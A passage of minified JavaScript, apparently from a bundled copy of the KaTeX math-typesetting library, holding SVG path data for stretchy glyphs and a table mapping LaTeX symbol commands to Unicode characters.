0v40h399960v147h40V40h-40v147z'/></svg>",longequal:" viewBox='0 0 100 334' preserveAspectRatio='none'>\n<path d='M0 50h100v40H0zm0 194h100v40H0z'/>",mapsto:"><svg width='50.1%' viewBox='0 0 400000 522'\npreserveAspectRatio='xMinYMin slice'><path d='M40 241c740\n 0 0 0 0 0v-75c0-40.7-.2-64.3-.5-71-.3-6.7-2.2-11.7-5.5-15-4-4-8.7-6-14-6-5.3 0\n-10 2-14 6C2.7 83.3.8 91.3.5 104 .2 116.7 0 169 0 261c0 114 .7 172.3 2 175 4 8\n 10 12 18 12 5.3 0 10-2 14-6 3.3-3.3 5.2-8.3 5.5-15 .3-6.7.5-30.3.5-71v-75\nh399960zm0 0v40h399960v-40z'/></svg><svg x='50%' width='50%' viewBox='0 0\n 400000 522' preserveAspectRatio='xMaxYMin slice'>"+u["rightarrow"]+"</svg>",overbrace:"><svg width='25.5%' viewBox='0 0 400000 548'\npreserveAspectRatio='xMinYMin slice'><path d='M6 548l-6-6\nv-35l6-11c56-104 135.3-181.3 238-232 57.3-28.7 117-45 179-50h399577v120H403\nc-43.3 7-81 15-113 26-100.7 33-179.7 91-237 174-2.7 5-6 9-10 13-.7 1-7.3 1-20 1\nH6z'/></svg><svg x='25%' width='50%' viewBox='0 0 400000 548'\npreserveAspectRatio='xMidYMin slice'><path d='M200428 334\nc-100.7-8.3-195.3-44-280-108-55.3-42-101.7-93-139-153l-9-14c-2.7 4-5.7 8.7-9 14\n-53.3 86.7-123.7 153-211 199-66.7 36-137.3 56.3-212 62H0V214h199568c178.3-11.7\n 311.7-78.3 403-201 6-8 9.7-12 11-12 .7-.7 6.7-1 18-1s17.3.3 18 1c1.3 0 5 4 11\n 12 44.7 59.3 101.3 106.3 170 141s145.3 54.3 229 60h199572v120z'/></svg>\n<svg x='74.9%' width='24.1%' viewBox='0 0 400000 548'\npreserveAspectRatio='xMaxYMin slice'><path d='M400000 542l\n-6 6h-17c-12.7 0-19.3-.3-20-1-4-4-7.3-8.3-10-13-35.3-51.3-80.8-93.8-136.5-127.5\ns-117.2-55.8-184.5-66.5c-.7 0-2-.3-4-1-18.7-2.7-76-4.3-172-5H0V214h399571l6 1\nc124.7 8 235 61.7 331 161 31.3 33.3 59.7 72.7 85 118l7 13v35z'/></svg>",overgroup:"><svg width='50.1%' viewBox='0 0 400000 342'\npreserveAspectRatio='xMinYMin slice'><path d='M400000 80\nH435C64 80 168.3 229.4 21 260c-5.9 1.2-18 0-18 0-2 0-3-1-3-3v-38C76 61 257 0\n 435 0h399565z'/></svg><svg x='50%' width='50%' viewBox='0 0 400000 342'\npreserveAspectRatio='xMaxYMin slice'><path d='M0 80h399565\nc371 0 266.7 149.4 414 180 5.9 1.2 18 0 18 0 2 0 3-1 3-3v-38\nc-76-158-257-219-435-219H0z'/></svg>",rightarrow:"><svg viewBox='0 0 400000 522' preserveAspectRatio='xMaxYMin\n slice'>"+u["rightarrow"]+"</svg>",rightharpoon:"><svg viewBox='0 0 400000 522' preserveAspectRatio='xMaxYMin\n slice'><path d='M0 241v40h399993c4.7-4.7 7-9.3 7-14 0-9.3\n-3.7-15.3-11-18-92.7-56.7-159-133.7-199-231-3.3-9.3-6-14.7-8-16-2-1.3-7-2-15-2\n-10.7 0-16.7 2-18 6-2 2.7-1 9.7 3 21 15.3 42 36.7 81.8 64 119.5 27.3 37.7 58\n 69.2 92 94.5zm0 0v40h399900v-40z'/></svg>",rightharpoondown:"><svg viewBox='0 0 400000 522'\npreserveAspectRatio='xMaxYMin slice'><path d='M399747 511\nc0 7.3 6.7 11 20 11 8 0 13-.8 15-2.5s4.7-6.8 8-15.5c40-94 99.3-166.3 178-217\n 13.3-8 20.3-12.3 21-13 5.3-3.3 8.5-5.8 9.5-7.5 1-1.7 1.5-5.2 1.5-10.5s-2.3\n -10.3-7-15H0v40h399908c-34 25.3-64.7 57-92 95-27.3 38-48.7 77.7-64 119-3.3\n 8.7-5 14-5 16zM0 241v40h399900v-40z'/></svg>",rightleftharpoons:"><svg width='50%' viewBox='0 0 400000 716'\npreserveAspectRatio='xMinYMin slice'><path d='M7 435c-4 4\n-6.3 8.7-7 14 0 5.3.7 9 2 11s5.3 5.3 12 10c90.7 54 156 130 196 228 3.3 10.7 6.3\n 16.3 9 17 2 .7 5 1 9 1h5c10.7 0 16.7-2 18-6 2-2.7 1-9.7-3-21-32-87.3-82.7\n-157.7-152-211l-3-3h399907v-40H7zm93 0v40h399900v-40zM0 241v40h399900v-40z\nm0 0v40h399900v-40z'/></svg><svg x='50%' width='50%' viewBox='0 0 400000 716'\npreserveAspectRatio='xMaxYMin slice'><path d='M0 241v40\nh399993c4.7-4.7 7-9.3 7-14 0-9.3-3.7-15.3-11-18-92.7-56.7-159-133.7-199-231-3.3\n-9.3-6-14.7-8-16-2-1.3-7-2-15-2-10.7 0-16.7 2-18 6-2 2.7-1 9.7 3 21 15.3 42\n 36.7 81.8 64 119.5 27.3 37.7 58 69.2 92 94.5zm0 0v40h399900v-40z\n m100 194v40h399900v-40zm0 0v40h399900v-40z'/></svg>",tilde1:" viewBox='0 0 600 260' preserveAspectRatio='none'>\n<path d='M200 55.538c-77 0-168 73.953-177 73.953-3 0-7\n-2.175-9-5.437L2 97c-1-2-2-4-2-6 0-4 2-7 5-9l20-12C116 12 171 0 207 0c86 0\n 114 68 191 68 78 0 168-68 177-68 4 0 7 2 9 5l12 19c1 2.175 2 4.35 2 6.525 0\n 4.35-2 7.613-5 9.788l-19 13.05c-92 63.077-116.937 75.308-183 76.128\n-68.267.847-113-73.952-191-73.952z'/>",tilde2:" viewBox='0 0 1033 286' preserveAspectRatio='none'>\n<path d='M344 55.266c-142 0-300.638 81.316-311.5 86.418\n-8.01 3.762-22.5 10.91-23.5 5.562L1 120c-1-2-1-3-1-4 0-5 3-9 8-10l18.4-9C160.9\n 31.9 283 0 358 0c148 0 188 122 331 122s314-97 326-97c4 0 8 2 10 7l7 21.114\nc1 2.14 1 3.21 1 4.28 0 5.347-3 9.626-7 10.696l-22.3 12.622C852.6 158.372 751\n 181.476 676 181.476c-149 0-189-126.21-332-126.21z'/>",tilde3:" viewBox='0 0 2339 306' preserveAspectRatio='none'>\n<path d='M786 59C457 59 32 175.242 13 175.242c-6 0-10-3.457\n-11-10.37L.15 138c-1-7 3-12 10-13l19.2-6.4C378.4 40.7 634.3 0 804.3 0c337 0\n 411.8 157 746.8 157 328 0 754-112 773-112 5 0 10 3 11 9l1 14.075c1 8.066-.697\n 16.595-6.697 17.492l-21.052 7.31c-367.9 98.146-609.15 122.696-778.15 122.696\n -338 0-409-156.573-744-156.573z'/>",tilde4:" viewBox='0 0 2340 312' preserveAspectRatio='none'>\n<path d='M786 58C457 58 32 177.487 13 177.487c-6 0-10-3.345\n-11-10.035L.15 143c-1-7 3-12 10-13l22-6.7C381.2 35 637.15 0 807.15 0c337 0 409\n 177 744 177 328 0 754-127 773-127 5 0 10 3 11 9l1 14.794c1 7.805-3 13.38-9\n 14.495l-20.7 5.574c-366.85 99.79-607.3 139.372-776.3 139.372-338 0-409\n -175.236-744-175.236z'/>",tofrom:"><svg width='50.1%' viewBox='0 0 400000 528'\npreserveAspectRatio='xMinYMin slice'><path d='M0 147h400000\nv40H0zm0 214c68 40 115.7 95.7 143 167h22c15.3 0 23-.3 23-1 0-1.3-5.3-13.7-16-37\n-18-35.3-41.3-69-70-101l-7-8h399905v-40H95l7-8c28.7-32 52-65.7 70-101 10.7-23.3\n 16-35.7 16-37 0-.7-7.7-1-23-1h-22C115.7 265.3 68 321 0 361zm0-174v-40h399900\nv40zm100 154v40h399900v-40z'/></svg><svg x='50%' width='50%' viewBox='0 0\n 400000 528' preserveAspectRatio='xMaxYMin slice'><path\nd='M400000 167c-70.7-42-118-97.7-142-167h-23c-15.3 0-23 .3-23 1 0 1.3 5.3 13.7\n 16 37 18 35.3 41.3 69 70 101l7 8H0v40h399905l-7 8c-28.7 32-52 65.7-70 101-10.7\n 23.3-16 35.7-16 37 0 .7 7.7 1 23 1h23c24-69.3 71.3-125 142-167z\n M100 147v40h399900v-40zM0 341v40h399900v-40z'/></svg>",twoheadleftarrow:"><svg viewBox='0 0 400000 334'\npreserveAspectRatio='xMinYMin slice'><path d='M0 167c68 40\n 115.7 95.7 143 167h22c15.3 0 23-.3 23-1 0-1.3-5.3-13.7-16-37-18-35.3-41.3-69\n-70-101l-7-8h125l9 7c50.7 39.3 85 86 103 140h46c0-4.7-6.3-18.7-19-42-18-35.3\n-40-67.3-66-96l-9-9h399716v-40H284l9-9c26-28.7 48-60.7 66-96 12.7-23.333 19\n-37.333 19-42h-46c-18 54-52.3 100.7-103 140l-9 7H95l7-8c28.7-32 52-65.7 70-101\n 10.7-23.333 16-35.7 16-37 0-.7-7.7-1-23-1h-22C115.7 71.3 68 127 0 167z'/>\n</svg>",twoheadrightarrow:"><svg viewBox='0 0 400000 334'\npreserveAspectRatio='xMaxYMin slice'><path d='M400000 167\nc-68-40-115.7-95.7-143-167h-22c-15.3 0-23 .3-23 1 0 1.3 5.3 13.7 16 37 18 35.3\n 41.3 69 70 101l7 8h-125l-9-7c-50.7-39.3-85-86-103-140h-46c0 4.7 6.3 18.7 19 42\n 18 35.3 40 67.3 66 96l9 9H0v40h399716l-9 9c-26 28.7-48 60.7-66 96-12.7 23.333\n-19 37.333-19 42h46c18-54 52.3-100.7 103-140l9-7h125l-7 8c-28.7 32-52 65.7-70\n 101-10.7 23.333-16 35.7-16 37 0 .7 7.7 1 23 1h22c27.3-71.3 75-127 143-167z'/>\n</svg>",underbrace:"><svg width='25.1%' viewBox='0 0 400000 548'\npreserveAspectRatio='xMinYMin slice'><path d='M0 6l6-6h17\nc12.688 0 19.313.3 20 1 4 4 7.313 8.3 10 13 35.313 51.3 80.813 93.8 136.5 127.5\n 55.688 33.7 117.188 55.8 184.5 66.5.688 0 2 .3 4 1 18.688 2.7 76 4.3 172 5\nh399450v120H429l-6-1c-124.688-8-235-61.7-331-161C60.687 138.7 32.312 99.3 7 54\nL0 41V6z'/></svg><svg x='25%' width='50%' viewBox='0 0 400000 548'\npreserveAspectRatio='xMidYMin slice'><path d='M199572 214\nc100.7 8.3 195.3 44 280 108 55.3 42 101.7 93 139 153l9 14c2.7-4 5.7-8.7 9-14\n 53.3-86.7 123.7-153 211-199 66.7-36 137.3-56.3 212-62h199568v120H200432c-178.3\n 11.7-311.7 78.3-403 201-6 8-9.7 12-11 12-.7.7-6.7 1-18 1s-17.3-.3-18-1c-1.3 0\n-5-4-11-12-44.7-59.3-101.3-106.3-170-141s-145.3-54.3-229-60H0V214z'/></svg>\n<svg x='74.9%' width='25.1%' viewBox='0 0 400000 548'\npreserveAspectRatio='xMaxYMin slice'><path d='M399994 0l6 6\nv35l-6 11c-56 104-135.3 181.3-238 232-57.3 28.7-117 45-179 50H-300V214h399897\nc43.3-7 81-15 113-26 100.7-33 179.7-91 237-174 2.7-5 6-9 10-13 .7-1 7.3-1 20-1\nh17z'/></svg>",undergroup:"><svg width='50.1%' viewBox='0 0 400000 342'\npreserveAspectRatio='xMinYMin slice'><path d='M400000 262\nH435C64 262 168.3 112.6 21 82c-5.9-1.2-18 0-18 0-2 0-3 1-3 3v38c76 158 257 219\n 435 219h399565z'/></svg><svg x='50%' width='50%' viewBox='0 0 400000 342'\npreserveAspectRatio='xMaxYMin slice'><path d='M0 262h399565\nc371 0 266.7-149.4 414-180 5.9-1.2 18 0 18 0 2 0 3 1 3 3v38c-76 158-257\n 219-435 219H0z'/></svg>",widehat1:" viewBox='0 0 1062 239' preserveAspectRatio='none'>\n<path d='M529 0h5l519 115c5 1 9 5 9 10 0 1-1 2-1 3l-4 22\nc-1 5-5 9-11 9h-2L532 67 19 159h-2c-5 0-9-4-11-9l-5-22c-1-6 2-12 8-13z'/>",widehat2:" viewBox='0 0 2364 300' preserveAspectRatio='none'>\n<path d='M1181 0h2l1171 176c6 0 10 5 10 11l-2 23c-1 6-5 10\n-11 10h-1L1182 67 15 220h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z'/>",widehat3:" viewBox='0 0 2364 360' preserveAspectRatio='none'>\n<path d='M1181 0h2l1171 236c6 0 10 5 10 11l-2 23c-1 6-5 10\n-11 10h-1L1182 67 15 280h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z'/>",widehat4:" viewBox='0 0 2364 420' preserveAspectRatio='none'>\n<path d='M1181 0h2l1171 296c6 0 10 5 10 11l-2 23c-1 6-5 10\n-11 10h-1L1182 67 15 340h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z'/>",xcancel:"<line x1='0' y1='0' x2='100%' y2='100%' stroke-width='0.046em'/>\n<line x1='0' y1='100%' x2='100%' y2='0' stroke-width='0.046em'/>"};var f=function e(t,r){var n=t.value.label.substr(1);var l=0;var s=0;var u="";var f=0;if(i.contains(["widehat","widetilde","undertilde"],n)){var h=t.value.value.length;if(h>5){l=.312;u=(n==="widehat"?"widehat":"tilde")+"4"}else{var v=[1,1,2,2,3,3][h];if(n==="widehat"){l=[0,.24,.3,.3,.36,.36][h];u="widehat"+v}else{l=[0,.26,.3,.3,.34,.34][h];u="tilde"+v}}}else{var d=o[n];l=d[0];s=d[1];u=d[2];f=d[3]}var p=a.makeSpan([],[],r);p.height=l;p.depth=s;var m=l+s;p.style.height=m+"em";if(f>0){p.style.minWidth=f+"em"}p.innerHTML="<svg width='100%' height='"+m+"em'"+c[u]+"</svg>";return p};var h=function e(t,r,n,i){var l=void 0;var s=t.height+t.depth+2*n;if(r==="fbox"){l=a.makeSpan(["stretchy",r],[],i);if(i.color){l.style.borderColor=i.getColor()}}else{l=a.makeSpan([],[],i);l.innerHTML="<svg width='100%' height='"+s+"em'>"+c[r]+"</svg>"}l.height=s;l.style.height=s+"em";return l};t.exports={encloseSpan:h,mathMLnode:s,svgSpan:f}},{"./buildCommon":34,"./mathMLTree":45,"./utils":51}],48:[function(e,t,r){"use strict";t.exports={math:{},text:{}};function a(e,r,a,n,i,l){t.exports[e][i]={ font:r,group:a,replace:n};if(l){t.exports[e][n]=t.exports[e][i]}}var n="math";var i="text";var l="main";var s="ams";var o="accent";var u="bin";var c="close";var f="inner";var h="mathord";var v="op";var d="open";var p="punct";var m="rel";var g="spacing";var y="textord";a(n,l,m,"\u2261","\\equiv");a(n,l,m,"\u227a","\\prec");a(n,l,m,"\u227b","\\succ");a(n,l,m,"\u223c","\\sim");a(n,l,m,"\u22a5","\\perp");a(n,l,m,"\u2aaf","\\preceq");a(n,l,m,"\u2ab0","\\succeq");a(n,l,m,"\u2243","\\simeq");a(n,l,m,"\u2223","\\mid");a(n,l,m,"\u226a","\\ll");a(n,l,m,"\u226b","\\gg");a(n,l,m,"\u224d","\\asymp");a(n,l,m,"\u2225","\\parallel");a(n,l,m,"\u22c8","\\bowtie");a(n,l,m,"\u2323","\\smile");a(n,l,m,"\u2291","\\sqsubseteq");a(n,l,m,"\u2292","\\sqsupseteq");a(n,l,m,"\u2250","\\doteq");a(n,l,m,"\u2322","\\frown");a(n,l,m,"\u220b","\\ni");a(n,l,m,"\u221d","\\propto");a(n,l,m,"\u22a2","\\vdash");a(n,l,m,"\u22a3","\\dashv");a(n,l,m,"\u220b","\\owns");a(n,l,p,".","\\ldotp");a(n,l,p,"\u22c5","\\cdotp");a(n,l,y,"#","\\#");a(i,l,y,"#","\\#");a(n,l,y,"&","\\&");a(i,l,y,"&","\\&");a(n,l,y,"\u2135","\\aleph");a(n,l,y,"\u2200","\\forall");a(n,l,y,"\u210f","\\hbar");a(n,l,y,"\u2203","\\exists");a(n,l,y,"\u2207","\\nabla");a(n,l,y,"\u266d","\\flat");a(n,l,y,"\u2113","\\ell");a(n,l,y,"\u266e","\\natural");a(n,l,y,"\u2663","\\clubsuit");a(n,l,y,"\u2118","\\wp");a(n,l,y,"\u266f","\\sharp");a(n,l,y,"\u2662","\\diamondsuit");a(n,l,y,"\u211c","\\Re");a(n,l,y,"\u2661","\\heartsuit");a(n,l,y,"\u2111","\\Im");a(n,l,y,"\u2660","\\spadesuit");a(n,l,y,"\u2020","\\dag");a(i,l,y,"\u2020","\\dag");a(i,l,y,"\u2020","\\textdagger");a(n,l,y,"\u2021","\\ddag");a(i,l,y,"\u2021","\\ddag");a(i,l,y,"\u2020","\\textdaggerdbl");a(n,l,c,"\u23b1","\\rmoustache");a(n,l,d,"\u23b0","\\lmoustache");a(n,l,c,"\u27ef","\\rgroup");a(n,l,d,"\u27ee","\\lgroup");a(n,l,u,"\u2213","\\mp");a(n,l,u,"\u2296","\\ominus");a(n,l,u,"\u228e","\\uplus");a(n,l,u,"\u2293","\\sqcap");a(n,l,u,"\u2217","\\ast");a(n,l,u,"\u2294","\\sqcup");a(n,l,u,"\u25ef","\\bigcirc");a(n,l,u,"\u2219","\\bullet");a(n,l,u,"\u2021","\\ddagger");a(n,l,u,"\u2240","\\wr");a(n,l,u,"\u2a3f","\\amalg");a(n,l,m,"\u27f5","\\longleftarrow");a(n,l,m,"\u21d0","\\Leftarrow");a(n,l,m,"\u27f8","\\Longleftarrow");a(n,l,m,"\u27f6","\\longrightarrow");a(n,l,m,"\u21d2","\\Rightarrow");a(n,l,m,"\u27f9","\\Longrightarrow");a(n,l,m,"\u2194","\\leftrightarrow");a(n,l,m,"\u27f7","\\longleftrightarrow");a(n,l,m,"\u21d4","\\Leftrightarrow");a(n,l,m,"\u27fa","\\Longleftrightarrow");a(n,l,m,"\u21a6","\\mapsto");a(n,l,m,"\u27fc","\\longmapsto");a(n,l,m,"\u2197","\\nearrow");a(n,l,m,"\u21a9","\\hookleftarrow");a(n,l,m,"\u21aa","\\hookrightarrow");a(n,l,m,"\u2198","\\searrow");a(n,l,m,"\u21bc","\\leftharpoonup");a(n,l,m,"\u21c0","\\rightharpoonup");a(n,l,m,"\u2199","\\swarrow");a(n,l,m,"\u21bd","\\leftharpoondown");a(n,l,m,"\u21c1","\\rightharpoondown");a(n,l,m,"\u2196","\\nwarrow");a(n,l,m,"\u21cc","\\rightleftharpoons");a(n,s,m,"\u226e","\\nless");a(n,s,m,"\ue010","\\nleqslant");a(n,s,m,"\ue011","\\nleqq");a(n,s,m,"\u2a87","\\lneq");a(n,s,m,"\u2268","\\lneqq");a(n,s,m,"\ue00c","\\lvertneqq");a(n,s,m,"\u22e6","\\lnsim");a(n,s,m,"\u2a89","\\lnapprox");a(n,s,m,"\u2280","\\nprec");a(n,s,m,"\u22e0","\\npreceq");a(n,s,m,"\u22e8","\\precnsim");a(n,s,m,"\u2ab9","\\precnapprox");a(n,s,m,"\u2241","\\nsim");a(n,s,m,"\ue006","\\nshortmid");a(n,s,m,"\u2224","\\nmid");a(n,s,m,"\u22ac","\\nvdash");a(n,s,m,"\u22ad","\\nvDash");a(n,s,m,"\u22ea","\\ntriangleleft");a(n,s,m,"\u22ec","\\ntrianglelefteq");a(n,s,m,"\u228a","\\subsetneq");a(n,s,m,"\ue01a","\\varsubsetneq");a(n,s,m,"\u2acb","\\subsetneqq");a(n,s,m,"\ue017","\\varsubsetneqq");a(n,s,m,"\u226f","\\ngtr");a(n,s,m,"\ue00f","\\ngeqslant");a(n,s,m,"\ue00e","\\ngeqq");a(n,s,m,"\u2a88","\\gneq");a(n,s,m,"\u2269","\\gneqq");a(n,s,m,"\ue00d","\\gvertneqq");a(n,s,m,"\u22e7","\\gnsim");a(n,s,m,"\u2a8a","\\gnapprox");a(n,s,m,"\u2281","\\nsucc");a(n,s,m,"\u22e1","\\nsucceq");a(n,s,m,"\u22e9","\\succnsim");a(n,s,m,"\u2aba","\\succnapprox");a(n,s,m,"\u2246","\\ncong");a(n,s,m,"\ue007","\\nshortparallel");a(n,s,m,"\u2226","\\nparallel");a(n,s,m,"\u22af","\\nVDash");a(n,s,m,"\u22eb","\\ntriangleright");a(n,s,m,"\u22ed","\\ntrianglerighteq");a(n,s,m,"\ue018","\\nsupseteqq");a(n,s,m,"\u228b","\\supsetneq");a(n,s,m,"\ue01b","\\varsupsetneq");a(n,s,m,"\u2acc","\\supsetneqq");a(n,s,m,"\ue019","\\varsupsetneqq");a(n,s,m,"\u22ae","\\nVdash");a(n,s,m,"\u2ab5","\\precneqq");a(n,s,m,"\u2ab6","\\succneqq");a(n,s,m,"\ue016","\\nsubseteqq");a(n,s,u,"\u22b4","\\unlhd");a(n,s,u,"\u22b5","\\unrhd");a(n,s,m,"\u219a","\\nleftarrow");a(n,s,m,"\u219b","\\nrightarrow");a(n,s,m,"\u21cd","\\nLeftarrow");a(n,s,m,"\u21cf","\\nRightarrow");a(n,s,m,"\u21ae","\\nleftrightarrow");a(n,s,m,"\u21ce","\\nLeftrightarrow");a(n,s,m,"\u25b3","\\vartriangle");a(n,s,y,"\u210f","\\hslash");a(n,s,y,"\u25bd","\\triangledown");a(n,s,y,"\u25ca","\\lozenge");a(n,s,y,"\u24c8","\\circledS");a(n,s,y,"\xae","\\circledR");a(i,s,y,"\xae","\\circledR");a(n,s,y,"\u2221","\\measuredangle");a(n,s,y,"\u2204","\\nexists");a(n,s,y,"\u2127","\\mho");a(n,s,y,"\u2132","\\Finv");a(n,s,y,"\u2141","\\Game");a(n,s,y,"k","\\Bbbk");a(n,s,y,"\u2035","\\backprime");a(n,s,y,"\u25b2","\\blacktriangle");a(n,s,y,"\u25bc","\\blacktriangledown");a(n,s,y,"\u25a0","\\blacksquare");a(n,s,y,"\u29eb","\\blacklozenge");a(n,s,y,"\u2605","\\bigstar");a(n,s,y,"\u2222","\\sphericalangle");a(n,s,y,"\u2201","\\complement");a(n,s,y,"\xf0","\\eth");a(n,s,y,"\u2571","\\diagup");a(n,s,y,"\u2572","\\diagdown");a(n,s,y,"\u25a1","\\square");a(n,s,y,"\u25a1","\\Box");a(n,s,y,"\u25ca","\\Diamond");a(n,s,y,"\xa5","\\yen");a(n,s,y,"\u2713","\\checkmark");a(i,s,y,"\u2713","\\checkmark");a(n,s,y,"\u2136","\\beth");a(n,s,y,"\u2138","\\daleth");a(n,s,y,"\u2137","\\gimel");a(n,s,y,"\u03dd","\\digamma");a(n,s,y,"\u03f0","\\varkappa");a(n,s,d,"\u250c","\\ulcorner");a(n,s,c,"\u2510","\\urcorner");a(n,s,d,"\u2514","\\llcorner");a(n,s,c,"\u2518","\\lrcorner");a(n,s,m,"\u2266","\\leqq");a(n,s,m,"\u2a7d","\\leqslant");a(n,s,m,"\u2a95","\\eqslantless");a(n,s,m,"\u2272","\\lesssim");a(n,s,m,"\u2a85","\\lessapprox");a(n,s,m,"\u224a","\\approxeq");a(n,s,u,"\u22d6","\\lessdot");a(n,s,m,"\u22d8","\\lll");a(n,s,m,"\u2276","\\lessgtr");a(n,s,m,"\u22da","\\lesseqgtr");a(n,s,m,"\u2a8b","\\lesseqqgtr");a(n,s,m,"\u2251","\\doteqdot");a(n,s,m,"\u2253","\\risingdotseq");a(n,s,m,"\u2252","\\fallingdotseq");a(n,s,m,"\u223d","\\backsim");a(n,s,m,"\u22cd","\\backsimeq");a(n,s,m,"\u2ac5","\\subseteqq");a(n,s,m,"\u22d0","\\Subset");a(n,s,m,"\u228f","\\sqsubset");a(n,s,m,"\u227c","\\preccurlyeq");a(n,s,m,"\u22de","\\curlyeqprec");a(n,s,m,"\u227e","\\precsim");a(n,s,m,"\u2ab7","\\precapprox");a(n,s,m,"\u22b2","\\vartriangleleft");a(n,s,m,"\u22b4","\\trianglelefteq");a(n,s,m,"\u22a8","\\vDash");a(n,s,m,"\u22aa","\\Vvdash");a(n,s,m,"\u2323","\\smallsmile");a(n,s,m,"\u2322","\\smallfrown");a(n,s,m,"\u224f","\\bumpeq");a(n,s,m,"\u224e","\\Bumpeq");a(n,s,m,"\u2267","\\geqq");a(n,s,m,"\u2a7e","\\geqslant");a(n,s,m,"\u2a96","\\eqslantgtr");a(n,s,m,"\u2273","\\gtrsim");a(n,s,m,"\u2a86","\\gtrapprox");a(n,s,u,"\u22d7","\\gtrdot");a(n,s,m,"\u22d9","\\ggg");a(n,s,m,"\u2277","\\gtrless");a(n,s,m,"\u22db","\\gtreqless");a(n,s,m,"\u2a8c","\\gtreqqless");a(n,s,m,"\u2256","\\eqcirc");a(n,s,m,"\u2257","\\circeq");a(n,s,m,"\u225c","\\triangleq");a(n,s,m,"\u223c","\\thicksim");a(n,s,m,"\u2248","\\thickapprox");a(n,s,m,"\u2ac6","\\supseteqq");a(n,s,m,"\u22d1","\\Supset");a(n,s,m,"\u2290","\\sqsupset");a(n,s,m,"\u227d","\\succcurlyeq");a(n,s,m,"\u22df","\\curlyeqsucc");a(n,s,m,"\u227f","\\succsim");a(n,s,m,"\u2ab8","\\succapprox");a(n,s,m,"\u22b3","\\vartriangleright");a(n,s,m,"\u22b5","\\trianglerighteq");a(n,s,m,"\u22a9","\\Vdash");a(n,s,m,"\u2223","\\shortmid");a(n,s,m,"\u2225","\\shortparallel");a(n,s,m,"\u226c","\\between");a(n,s,m,"\u22d4","\\pitchfork");a(n,s,m,"\u221d","\\varpropto");a(n,s,m,"\u25c0","\\blacktriangleleft");a(n,s,m,"\u2234","\\therefore");a(n,s,m,"\u220d","\\backepsilon");a(n,s,m,"\u25b6","\\blacktriangleright");a(n,s,m,"\u2235","\\because");a(n,s,m,"\u22d8","\\llless");a(n,s,m,"\u22d9","\\gggtr");a(n,s,u,"\u22b2","\\lhd");a(n,s,u,"\u22b3","\\rhd");a(n,s,m,"\u2242","\\eqsim");a(n,l,m,"\u22c8","\\Join");a(n,s,m,"\u2251","\\Doteq");a(n,s,u,"\u2214","\\dotplus");a(n,s,u,"\u2216","\\smallsetminus");a(n,s,u,"\u22d2","\\Cap");a(n,s,u,"\u22d3","\\Cup");a(n,s,u,"\u2a5e","\\doublebarwedge");a(n,s,u,"\u229f","\\boxminus");a(n,s,u,"\u229e","\\boxplus");a(n,s,u,"\u22c7","\\divideontimes");a(n,s,u,"\u22c9","\\ltimes");a(n,s,u,"\u22ca","\\rtimes");a(n,s,u,"\u22cb","\\leftthreetimes");a(n,s,u,"\u22cc","\\rightthreetimes");a(n,s,u,"\u22cf","\\curlywedge");a(n,s,u,"\u22ce","\\curlyvee");a(n,s,u,"\u229d","\\circleddash");a(n,s,u,"\u229b","\\circledast");a(n,s,u,"\u22c5","\\centerdot");a(n,s,u,"\u22ba","\\intercal");a(n,s,u,"\u22d2","\\doublecap");a(n,s,u,"\u22d3","\\doublecup");a(n,s,u,"\u22a0","\\boxtimes");a(n,s,m,"\u21e2","\\dashrightarrow");a(n,s,m,"\u21e0","\\dashleftarrow");a(n,s,m,"\u21c7","\\leftleftarrows");a(n,s,m,"\u21c6","\\leftrightarrows");a(n,s,m,"\u21da","\\Lleftarrow");a(n,s,m,"\u219e","\\twoheadleftarrow");a(n,s,m,"\u21a2","\\leftarrowtail");a(n,s,m,"\u21ab","\\looparrowleft");a(n,s,m,"\u21cb","\\leftrightharpoons");a(n,s,m,"\u21b6","\\curvearrowleft");a(n,s,m,"\u21ba","\\circlearrowleft");a(n,s,m,"\u21b0","\\Lsh");a(n,s,m,"\u21c8","\\upuparrows");a(n,s,m,"\u21bf","\\upharpoonleft");a(n,s,m,"\u21c3","\\downharpoonleft");a(n,s,m,"\u22b8","\\multimap");a(n,s,m,"\u21ad","\\leftrightsquigarrow");a(n,s,m,"\u21c9","\\rightrightarrows");a(n,s,m,"\u21c4","\\rightleftarrows");a(n,s,m,"\u21a0","\\twoheadrightarrow");a(n,s,m,"\u21a3","\\rightarrowtail");a(n,s,m,"\u21ac","\\looparrowright");a(n,s,m,"\u21b7","\\curvearrowright");a(n,s,m,"\u21bb","\\circlearrowright");a(n,s,m,"\u21b1","\\Rsh");a(n,s,m,"\u21ca","\\downdownarrows");a(n,s,m,"\u21be","\\upharpoonright");a(n,s,m,"\u21c2","\\downharpoonright");a(n,s,m,"\u21dd","\\rightsquigarrow");a(n,s,m,"\u21dd","\\leadsto");a(n,s,m,"\u21db","\\Rrightarrow");a(n,s,m,"\u21be","\\restriction");a(n,l,y,"\u2018","`");a(n,l,y,"$","\\$");a(i,l,y,"$","\\$");a(i,l,y,"$","\\textdollar");a(n,l,y,"%","\\%");a(i,l,y,"%","\\%");a(n,l,y,"_","\\_");a(i,l,y,"_","\\_");a(i,l,y,"_","\\textunderscore");a(n,l,y,"\u2220","\\angle");a(n,l,y,"\u221e","\\infty");a(n,l,y,"\u2032","\\prime");a(n,l,y,"\u25b3","\\triangle");a(n,l,y,"\u0393","\\Gamma",true);a(n,l,y,"\u0394","\\Delta",true);a(n,l,y,"\u0398","\\Theta",true);a(n,l,y,"\u039b","\\Lambda",true);a(n,l,y,"\u039e","\\Xi",true);a(n,l,y,"\u03a0","\\Pi",true);a(n,l,y,"\u03a3","\\Sigma",true);a(n,l,y,"\u03a5","\\Upsilon",true);a(n,l,y,"\u03a6","\\Phi",true);a(n,l,y,"\u03a8","\\Psi",true);a(n,l,y,"\u03a9","\\Omega",true);a(n,l,y,"\xac","\\neg");a(n,l,y,"\xac","\\lnot");a(n,l,y,"\u22a4","\\top");a(n,l,y,"\u22a5","\\bot");a(n,l,y,"\u2205","\\emptyset");a(n,s,y,"\u2205","\\varnothing");a(n,l,h,"\u03b1","\\alpha",true);a(n,l,h,"\u03b2","\\beta",true);a(n,l,h,"\u03b3","\\gamma",true);a(n,l,h,"\u03b4","\\delta",true);a(n,l,h,"\u03f5","\\epsilon",true);a(n,l,h,"\u03b6","\\zeta",true);a(n,l,h,"\u03b7","\\eta",true);a(n,l,h,"\u03b8","\\theta",true);a(n,l,h,"\u03b9","\\iota",true);a(n,l,h,"\u03ba","\\kappa",true);a(n,l,h,"\u03bb","\\lambda",true);a(n,l,h,"\u03bc","\\mu",true);a(n,l,h,"\u03bd","\\nu",t